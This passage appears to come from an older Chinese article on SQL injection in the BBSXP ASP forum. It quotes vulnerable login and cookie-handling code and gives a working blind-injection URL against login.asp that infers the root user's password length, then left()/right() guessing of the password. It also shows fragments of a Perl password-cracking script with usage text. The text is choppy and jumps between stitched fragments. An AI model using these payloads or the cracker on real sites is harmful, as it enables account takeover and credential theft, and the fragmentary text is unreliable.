非法操作"):end if '只限制空格,Faint! sql="select * from user where username='"&username&"'" rs.Open sql,Conn if rs.eof then message=message&"
此用户名还未注册" '超级失败,竟然还使用如此低级设计 error(""&message&"") end if if userpass<>rs("userpass") then message=message&"
您输入的密码错误" '摆明了返回准确信息给攻击者判断 ... --------------------------------------------------- 显然这里不能来个 username=root' and len(userpass)=6 and '1,但没有空格我们照样玩: http://www.target.com/asp/bbsxp/bbsxp/login.asp?menu=add&url=&username=root'and(len(userpass)=6)and'1&userpass=asd&Submit1=+%B5%C7%C2%BD+ 可判断”设立条件成功”返回的字符串:您输入的密码错误;即返回“您输入的密码错误”则说明root用户的密码长度是6位,接着使用left()、right()可以推算出密码了,但手工推测是很吃力的,我们可以根据提交一个请求后的返回值判断我们设立的条件成功与否,这样可以写个小的密码破解程序,本文结尾附了我写的一个测试程序。 再看一个构造cookie来达到Sql Injection的例子: --------------------------------------------------- usercp.asp: -------------包含文件setup.asp中的关键代码 sql="select * from user where username='"&Request.Cookies("username")&"'" if Request.Cookies("userpass")<>us("userpass") then Response.Cookies("username")="" Response.Cookies("userpass")="" '如果密码不对cookie清空 end if userface=""&us("userface")&"" '败笔,保存了一个值,可作返回值判断 -------------setup.asp中的关键代码结束 用户头像
print "\n\nSuccessful,the full password of $user is $pws.\n";
sub usage { print qq~ Usage: $0 -h [-p ] -w -u -h =hostname you want to crack -p =port,80 default -w =the path of the weak file -u =the user you want to crack